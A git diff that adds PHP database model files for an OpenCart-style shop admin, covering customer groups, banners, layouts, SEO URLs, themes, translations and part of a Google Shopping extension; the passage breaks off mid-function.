+ foreach ($data['customer_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_group_description SET customer_group_id = '" . (int)$customer_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "'");
+ }
+ }
+
+ public function deleteCustomerGroup($customer_group_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_group WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_group_description WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_discount WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_special WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_reward WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rate_to_customer_group WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ }
+
+ public function getCustomerGroup($customer_group_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "customer_group cg LEFT JOIN " . DB_PREFIX . "customer_group_description cgd ON (cg.customer_group_id = cgd.customer_group_id) WHERE cg.customer_group_id = '" . (int)$customer_group_id . "' AND cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomerGroups($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "customer_group cg LEFT JOIN " . DB_PREFIX . "customer_group_description cgd ON (cg.customer_group_id = cgd.customer_group_id) WHERE cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'cgd.name',
+ 'cg.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY cgd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCustomerGroupDescriptions($customer_group_id) {
+ $customer_group_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_group_description WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+
+ foreach ($query->rows as $result) {
+ $customer_group_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'description' => $result['description']
+ );
+ }
+
+ return $customer_group_data;
+ }
+
+ public function getTotalCustomerGroups() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_group");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/design/banner.php b/public/admin/model/design/banner.php
new file mode 100644
index 0000000..d177f7d
--- /dev/null
+++ b/public/admin/model/design/banner.php
@@ -0,0 +1,106 @@
+db->query("INSERT INTO " . DB_PREFIX . "banner SET name = '" . $this->db->escape($data['name']) . "', status = '" . (int)$data['status'] . "'");
+
+ $banner_id = $this->db->getLastId();
+
+ if (isset($data['banner_image'])) {
+ foreach ($data['banner_image'] as $language_id => $value) {
+ foreach ($value as $banner_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "banner_image SET banner_id = '" . (int)$banner_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($banner_image['title']) . "', link = '" . $this->db->escape($banner_image['link']) . "', description = '" . $this->db->escape($banner_image['description']) . "', button_text = '" . $this->db->escape($banner_image['button_text']) . "', image = '" . $this->db->escape($banner_image['image']) . "', image_mobile = '" . $this->db->escape($banner_image['image_mobile']) . "', sort_order = '" . (int)$banner_image['sort_order'] . "'");
+ }
+ }
+ }
+
+ return $banner_id;
+ }
+
+ public function editBanner($banner_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "banner SET name = '" . $this->db->escape($data['name']) . "', status = '" . (int)$data['status'] . "' WHERE banner_id = '" . (int)$banner_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "banner_image WHERE banner_id = '" . (int)$banner_id . "'");
+
+ if (isset($data['banner_image'])) {
+ foreach ($data['banner_image'] as $language_id => $value) {
+ foreach ($value as $banner_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "banner_image SET banner_id = '" . (int)$banner_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($banner_image['title']) . "', link = '" . $this->db->escape($banner_image['link']) . "', description = '" . $this->db->escape($banner_image['description']) . "', button_text = '" . $this->db->escape($banner_image['button_text']) . "', image = '" . $this->db->escape($banner_image['image']) . "', image_mobile = '" . $this->db->escape($banner_image['image_mobile']) . "', sort_order = '" . (int)$banner_image['sort_order'] . "'");
+ }
+ }
+ }
+ }
+
+ public function deleteBanner($banner_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "banner WHERE banner_id = '" . (int)$banner_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "banner_image WHERE banner_id = '" . (int)$banner_id . "'");
+ }
+
+ public function getBanner($banner_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "banner WHERE banner_id = '" . (int)$banner_id . "'");
+
+ return $query->row;
+ }
+
+ public function getBanners($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "banner";
+
+ $sort_data = array(
+ 'name',
+ 'status'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getBannerImages($banner_id) {
+ $banner_image_data = array();
+
+ $banner_image_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "banner_image WHERE banner_id = '" . (int)$banner_id . "' ORDER BY sort_order ASC");
+
+ foreach ($banner_image_query->rows as $banner_image) {
+ $banner_image_data[$banner_image['language_id']][] = array(
+ 'title' => $banner_image['title'],
+ 'link' => $banner_image['link'],
+ 'description' => $banner_image['description'],
+ 'button_text' => $banner_image['button_text'],
+ 'image' => $banner_image['image'],
+ 'image_mobile' => $banner_image['image_mobile'],
+ 'sort_order' => $banner_image['sort_order']
+ );
+ }
+
+ return $banner_image_data;
+ }
+
+ public function getTotalBanners() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "banner");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/design/layout.php b/public/admin/model/design/layout.php
new file mode 100644
index 0000000..1cd3bff
--- /dev/null
+++ b/public/admin/model/design/layout.php
@@ -0,0 +1,109 @@
+db->query("INSERT INTO " . DB_PREFIX . "layout SET name = '" . $this->db->escape($data['name']) . "'");
+
+ $layout_id = $this->db->getLastId();
+
+ if (isset($data['layout_route'])) {
+ foreach ($data['layout_route'] as $layout_route) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_route SET layout_id = '" . (int)$layout_id . "', store_id = '" . (int)$layout_route['store_id'] . "', route = '" . $this->db->escape($layout_route['route']) . "'");
+ }
+ }
+
+ if (isset($data['layout_module'])) {
+ foreach ($data['layout_module'] as $layout_module) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_module SET layout_id = '" . (int)$layout_id . "', code = '" . $this->db->escape($layout_module['code']) . "', position = '" . $this->db->escape($layout_module['position']) . "', sort_order = '" . (int)$layout_module['sort_order'] . "'");
+ }
+ }
+
+ return $layout_id;
+ }
+
+ public function editLayout($layout_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "layout SET name = '" . $this->db->escape($data['name']) . "' WHERE layout_id = '" . (int)$layout_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_route WHERE layout_id = '" . (int)$layout_id . "'");
+
+ if (isset($data['layout_route'])) {
+ foreach ($data['layout_route'] as $layout_route) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_route SET layout_id = '" . (int)$layout_id . "', store_id = '" . (int)$layout_route['store_id'] . "', route = '" . $this->db->escape($layout_route['route']) . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_module WHERE layout_id = '" . (int)$layout_id . "'");
+
+ if (isset($data['layout_module'])) {
+ foreach ($data['layout_module'] as $layout_module) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_module SET layout_id = '" . (int)$layout_id . "', code = '" . $this->db->escape($layout_module['code']) . "', position = '" . $this->db->escape($layout_module['position']) . "', sort_order = '" . (int)$layout_module['sort_order'] . "'");
+ }
+ }
+ }
+
+ public function deleteLayout($layout_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_route WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_module WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "information_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ }
+
+ public function getLayout($layout_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row;
+ }
+
+ public function getLayouts($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "layout";
+
+ $sort_data = array('name');
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getLayoutRoutes($layout_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "layout_route WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getLayoutModules($layout_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "layout_module WHERE layout_id = '" . (int)$layout_id . "' ORDER BY position ASC, sort_order ASC");
+
+ return $query->rows;
+ }
+
+ public function getTotalLayouts() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "layout");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/design/seo_url.php b/public/admin/model/design/seo_url.php
new file mode 100644
index 0000000..ce621e2
--- /dev/null
+++ b/public/admin/model/design/seo_url.php
@@ -0,0 +1,123 @@
+db->query("INSERT INTO `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$data['store_id'] . "', language_id = '" . (int)$data['language_id'] . "', query = '" . $this->db->escape($data['query']) . "', keyword = '" . $this->db->escape($data['keyword']) . "'");
+ }
+
+ public function editSeoUrl($seo_url_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$data['store_id'] . "', language_id = '" . (int)$data['language_id'] . "', query = '" . $this->db->escape($data['query']) . "', keyword = '" . $this->db->escape($data['keyword']) . "' WHERE seo_url_id = '" . (int)$seo_url_id . "'");
+ }
+
+ public function deleteSeoUrl($seo_url_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE seo_url_id = '" . (int)$seo_url_id . "'");
+ }
+
+ public function getSeoUrl($seo_url_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "seo_url` WHERE seo_url_id = '" . (int)$seo_url_id . "'");
+
+ return $query->row;
+ }
+
+ public function getSeoUrls($data = array()) {
+ $sql = "SELECT *, (SELECT `name` FROM `" . DB_PREFIX . "store` s WHERE s.store_id = su.store_id) AS store, (SELECT `name` FROM `" . DB_PREFIX . "language` l WHERE l.language_id = su.language_id) AS language FROM `" . DB_PREFIX . "seo_url` su";
+
+ $implode = array();
+
+ if (!empty($data['filter_query'])) {
+ $implode[] = "`query` LIKE '" . $this->db->escape($data['filter_query']) . "'";
+ }
+
+ if (!empty($data['filter_keyword'])) {
+ $implode[] = "`keyword` LIKE '" . $this->db->escape($data['filter_keyword']) . "'";
+ }
+
+ if (isset($data['filter_store_id']) && $data['filter_store_id'] !== '') {
+ $implode[] = "`store_id` = '" . (int)$data['filter_store_id'] . "'";
+ }
+
+ if (!empty($data['filter_language_id']) && $data['filter_language_id'] !== '') {
+ $implode[] = "`language_id` = '" . (int)$data['filter_language_id'] . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'query',
+ 'keyword',
+ 'language_id',
+ 'store_id'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY query";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalSeoUrls($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "seo_url`";
+
+ $implode = array();
+
+ if (!empty($data['filter_query'])) {
+ $implode[] = "query LIKE '" . $this->db->escape($data['filter_query']) . "'";
+ }
+
+ if (!empty($data['filter_keyword'])) {
+ $implode[] = "keyword LIKE '" . $this->db->escape($data['filter_keyword']) . "'";
+ }
+
+ if (!empty($data['filter_store_id']) && $data['filter_store_id'] !== '') {
+ $implode[] = "store_id = '" . (int)$data['filter_store_id'] . "'";
+ }
+
+ if (!empty($data['filter_language_id']) && $data['filter_language_id'] !== '') {
+ $implode[] = "language_id = '" . (int)$data['filter_language_id'] . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getSeoUrlsByKeyword($keyword) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "seo_url` WHERE keyword = '" . $this->db->escape(trim($keyword)) . "'");
+
+ return $query->rows;
+ }
+
+ public function getSeoUrlsByQuery($keyword) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "seo_url` WHERE keyword = '" . $this->db->escape(trim($keyword)) . "'");
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/design/theme.php b/public/admin/model/design/theme.php
new file mode 100644
index 0000000..966adcd
--- /dev/null
+++ b/public/admin/model/design/theme.php
@@ -0,0 +1,38 @@
+db->query("DELETE FROM `" . DB_PREFIX . "theme` WHERE store_id = '" . (int)$store_id . "' AND theme = '" . $this->db->escape($theme) . "' AND route = '" . $this->db->escape($route) . "'");
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "theme` SET store_id = '" . (int)$store_id . "', theme = '" . $this->db->escape($theme) . "', route = '" . $this->db->escape($route) . "', code = '" . $this->db->escape($code) . "', date_added = NOW()");
+ }
+
+ public function deleteTheme($theme_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "theme` WHERE theme_id = '" . (int)$theme_id . "'");
+ }
+
+ public function getTheme($store_id, $theme, $route) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "theme` WHERE store_id = '" . (int)$store_id . "' AND theme = '" . $this->db->escape($theme) . "' AND route = '" . $this->db->escape($route) . "'");
+
+ return $query->row;
+ }
+
+ public function getThemes($start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT *, (SELECT name FROM `" . DB_PREFIX . "store` s WHERE s.store_id = t.store_id) AS store FROM `" . DB_PREFIX . "theme` t ORDER BY t.date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalThemes() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "theme`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/design/translation.php b/public/admin/model/design/translation.php
new file mode 100644
index 0000000..b85e220
--- /dev/null
+++ b/public/admin/model/design/translation.php
@@ -0,0 +1,66 @@
+db->query("INSERT INTO `" . DB_PREFIX . "translation` SET `store_id` = '" . (int)$data['store_id'] . "', `language_id` = '" . (int)$data['language_id'] . "', `route` = '" . $this->db->escape($data['route']) . "', `key` = '" . $this->db->escape($data['key']) . "', `value` = '" . $this->db->escape($data['value']) . "', `date_added` = NOW()");
+ }
+
+ public function editTranslation($translation_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "translation` SET `store_id` = '" . (int)$data['store_id'] . "', `language_id` = '" . (int)$data['language_id'] . "', `route` = '" . $this->db->escape($data['route']) . "', `key` = '" . $this->db->escape($data['key']) . "', `value` = '" . $this->db->escape($data['value']) . "' WHERE `translation_id` = '" . (int)$translation_id . "'");
+ }
+
+ public function deleteTranslation($translation_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "translation` WHERE `translation_id` = '" . (int)$translation_id . "'");
+ }
+
+ public function getTranslation($translation_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "translation` WHERE `translation_id` = '" . (int)$translation_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTranslations($data = array()) {
+ $sql = "SELECT *, (SELECT s.name FROM `" . DB_PREFIX . "store` s WHERE s.store_id = t.store_id) AS store, (SELECT l.name FROM `" . DB_PREFIX . "language` l WHERE l.language_id = t.language_id) AS language FROM `" . DB_PREFIX . "translation` t";
+
+ $sort_data = array(
+ 'store',
+ 'language',
+ 'route',
+ 'key',
+ 'value'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY `" . $data['sort'] . "`";
+ } else {
+ $sql .= " ORDER BY store";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalTranslations() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "translation`");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/advertise/google.php b/public/admin/model/extension/advertise/google.php
new file mode 100644
index 0000000..04f6f3c
--- /dev/null
+++ b/public/admin/model/extension/advertise/google.php
@@ -0,0 +1,697 @@
+ array(
+ 'extension/advertise/google/admin_link',
+ ),
+ 'admin/model/catalog/product/addProduct/after' => array(
+ 'extension/advertise/google/addProduct',
+ ),
+ 'admin/model/catalog/product/copyProduct/after' => array(
+ 'extension/advertise/google/copyProduct',
+ ),
+ 'admin/model/catalog/product/deleteProduct/after' => array(
+ 'extension/advertise/google/deleteProduct',
+ ),
+ 'catalog/controller/checkout/success/before' => array(
+ 'extension/advertise/google/before_checkout_success'
+ ),
+ 'store/view/common/header/after' => array(
+ 'extension/advertise/google/google_global_site_tag'
+ ),
+ 'store/view/common/success/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_purchase'
+ ),
+ 'store/view/product/product/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_product'
+ ),
+ 'store/view/product/search/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_searchresults'
+ ),
+ 'store/view/product/category/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_category'
+ ),
+ 'store/view/common/home/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_home'
+ ),
+ 'store/view/checkout/cart/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_cart'
+ )
+ );
+
+ private $rename_tables = array(
+ 'advertise_google_target' => 'googleshopping_target',
+ 'category_to_google_product_category' => 'googleshopping_category',
+ 'product_advertise_google_status' => 'googleshopping_product_status',
+ 'product_advertise_google_target' => 'googleshopping_product_target',
+ 'product_advertise_google' => 'googleshopping_product'
+ );
+
+ private $table_columns = array(
+ 'googleshopping_target' => array(
+ 'advertise_google_target_id',
+ 'store_id',
+ 'campaign_name',
+ 'country',
+ 'budget',
+ 'feeds',
+ 'status'
+ ),
+ 'googleshopping_category' => array(
+ 'google_product_category',
+ 'store_id',
+ 'category_id'
+ ),
+ 'googleshopping_product_status' => array(
+ 'product_id',
+ 'store_id',
+ 'product_variation_id',
+ 'destination_statuses',
+ 'data_quality_issues',
+ 'item_level_issues',
+ 'google_expiration_date'
+ ),
+ 'googleshopping_product_target' => array(
+ 'product_id',
+ 'store_id',
+ 'advertise_google_target_id'
+ ),
+ 'googleshopping_product' => array(
+ 'product_advertise_google_id',
+ 'product_id',
+ 'store_id',
+ 'has_issues',
+ 'destination_status',
+ 'impressions',
+ 'clicks',
+ 'conversions',
+ 'cost',
+ 'conversion_value',
+ 'google_product_category',
+ 'condition',
+ 'adult',
+ 'multipack',
+ 'is_bundle',
+ 'age_group',
+ 'color',
+ 'gender',
+ 'size_type',
+ 'size_system',
+ 'size',
+ 'is_modified'
+ )
+ );
+
+ public function isAppIdUsed($app_id, $store_id) {
+ $sql = "SELECT `store_id` FROM `" . DB_PREFIX . "setting` WHERE `key`='advertise_google_app_id' AND `value`='" . $this->db->escape($store_id) . "' AND `store_id`!=" . (int)$store_id . " LIMIT 1";
+
+ $result = $this->db->query($sql);
+
+ if ($result->num_rows > 0) {
+ try {
+ $googleshopping = new Googleshopping($this->registry, (int)$result->row['store_id']);
+
+ return $googleshopping->isConnected();
+ } catch (\RuntimeException $e) {
+ return false;
+ }
+ }
+
+ return false;
+ }
+
+ public function getFinalProductId() {
+ $sql = "SELECT product_id FROM `" . DB_PREFIX . "product` ORDER BY product_id DESC LIMIT 1";
+
+ $result = $this->db->query($sql);
+
+ if ($result->num_rows > 0) {
+ return (int)$result->row['product_id'];
+ }
+
+ return null;
+ }
+
+ public function isAnyProductCategoryModified($store_id) {
+ $sql = "SELECT pag.is_modified FROM `" . DB_PREFIX . "googleshopping_product` pag WHERE pag.google_product_category IS NOT NULL AND pag.store_id=" . (int)$store_id . " LIMIT 0,1";
+
+ return $this->db->query($sql)->num_rows > 0;
+ }
+
+ public function getAdvertisedCount($store_id) {
+ $result = $this->db->query("SELECT COUNT(product_id) as total FROM `" . DB_PREFIX . "googleshopping_product_target` WHERE store_id=" . (int)$store_id . " GROUP BY `product_id`");
+
+ return $result->num_rows > 0 ? (int)$result->row['total'] : 0;
+ }
+
+ public function getMapping($store_id) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "googleshopping_category` WHERE store_id=" . (int)$store_id;
+
+ return $this->db->query($sql)->rows;
+ }
+
+ public function setCategoryMapping($google_product_category, $store_id, $category_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_category` SET `google_product_category`='" . $this->db->escape($google_product_category) . "', `store_id`=" . (int)$store_id . ", `category_id`=" . (int)$category_id . " ON DUPLICATE KEY UPDATE `category_id`=" . (int)$category_id;
+
+ $this->db->query($sql);
+ }
+
+ public function getMappedCategory($google_product_category, $store_id) {
+ $sql = "SELECT GROUP_CONCAT(cd.name ORDER BY cp.level SEPARATOR ' > ') AS name, cp.category_id FROM " . DB_PREFIX . "category_path cp LEFT JOIN " . DB_PREFIX . "category_description cd ON (cp.path_id = cd.category_id) LEFT JOIN `" . DB_PREFIX . "googleshopping_category` c2gpc ON (c2gpc.category_id = cp.category_id) WHERE cd.language_id=" . (int)$this->config->get('config_language_id') . " AND c2gpc.google_product_category='" . $this->db->escape($google_product_category) . "' AND c2gpc.store_id=" . (int)$store_id;
+
+ $result = $this->db->query($sql);
+
+ if ($result->num_rows > 0) {
+ return $result->row;
+ }
+
+ return null;
+ }
+
+ public function getProductByProductAdvertiseGoogleId($product_advertise_google_id) {
+ $sql = "SELECT pag.product_id FROM `" . DB_PREFIX . "googleshopping_product` pag WHERE pag.product_advertise_google_id=" . (int)$product_advertise_google_id;
+
+ $result = $this->db->query($sql);
+
+ if ($result->num_rows) {
+ $this->load->model('catalog/product');
+
+ return $this->model_catalog_product->getProduct($result->row['product_id']);
+ }
+ }
+
+ public function getProductAdvertiseGoogle($product_advertise_google_id) {
+ $sql = "SELECT pag.* FROM `" . DB_PREFIX . "googleshopping_product` pag WHERE pag.product_advertise_google_id=" . (int)$product_advertise_google_id;
+
+ return $this->db->query($sql)->row;
+ }
+
+ public function hasActiveTarget($store_id) {
+ $sql = "SELECT agt.advertise_google_target_id FROM `" . DB_PREFIX . "googleshopping_target` agt WHERE agt.store_id=" . (int)$store_id . " AND agt.status='active' LIMIT 1";
+
+ return $this->db->query($sql)->num_rows > 0;
+ }
+
+ public function getRequiredFieldsByProductIds($product_ids, $store_id) {
+ $this->load->config('googleshopping/googleshopping');
+
+ $result = array();
+ $countries = $this->getTargetCountriesByProductIds($product_ids, $store_id);
+
+ foreach ($countries as $country) {
+ foreach ($this->config->get('advertise_google_country_required_fields') as $field => $requirements) {
+ if (
+ (!empty($requirements['countries']) && in_array($country, $requirements['countries']))
+ ||
+ (is_array($requirements['countries']) && empty($requirements['countries']))
+ ) {
+ $result[$field] = $requirements;
+ }
+ }
+ }
+
+ return $result;
+ }
+
+ public function getRequiredFieldsByFilter($data, $store_id) {
+ $this->load->config('googleshopping/googleshopping');
+
+ $result = array();
+ $countries = $this->getTargetCountriesByFilter($data, $store_id);
+
+ foreach ($countries as $country) {
+ foreach ($this->config->get('advertise_google_country_required_fields') as $field => $requirements) {
+ if (
+ (!empty($requirements['countries']) && in_array($country, $requirements['countries']))
+ ||
+ (is_array($requirements['countries']) && empty($requirements['countries']))
+ ) {
+ $result[$field] = $requirements;
+ }
+ }
+ }
+
+ return $result;
+ }
+
+ public function getTargetCountriesByProductIds($product_ids, $store_id) {
+ $sql = "SELECT DISTINCT agt.country FROM `" . DB_PREFIX . "googleshopping_product_target` pagt LEFT JOIN `" . DB_PREFIX . "googleshopping_target` agt ON (agt.advertise_google_target_id = pagt.advertise_google_target_id AND agt.store_id = pagt.store_id) WHERE pagt.product_id IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ") AND pagt.store_id=" . (int)$store_id;
+
+ return array_map(array($this, 'country'), $this->db->query($sql)->rows);
+ }
+
+ public function getTargetCountriesByFilter($data, $store_id) {
+ $sql = "SELECT DISTINCT agt.country FROM `" . DB_PREFIX . "googleshopping_product_target` pagt LEFT JOIN `" . DB_PREFIX . "googleshopping_target` agt ON (agt.advertise_google_target_id = pagt.advertise_google_target_id AND agt.store_id = pagt.store_id) LEFT JOIN `" . DB_PREFIX . "product` p ON (pagt.product_id = p.product_id) LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = pagt.product_id) WHERE pagt.store_id=" . (int)$store_id . " AND pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($sql, $data);
+
+ return array_map(array($this, 'country'), $this->db->query($sql)->rows);
+ }
+
+ public function getProductOptionsByProductIds($product_ids) {
+ $sql = "SELECT po.option_id, od.name FROM `" . DB_PREFIX . "product_option` po LEFT JOIN `" . DB_PREFIX . "option_description` od ON (od.option_id=po.option_id AND od.language_id=" . (int)$this->config->get('config_language_id') . ") LEFT JOIN `" . DB_PREFIX . "option` o ON (o.option_id = po.option_id) WHERE o.type IN ('select', 'radio') AND po.product_id IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+
+ return $this->db->query($sql)->rows;
+ }
+
+ public function getProductOptionsByFilter($data) {
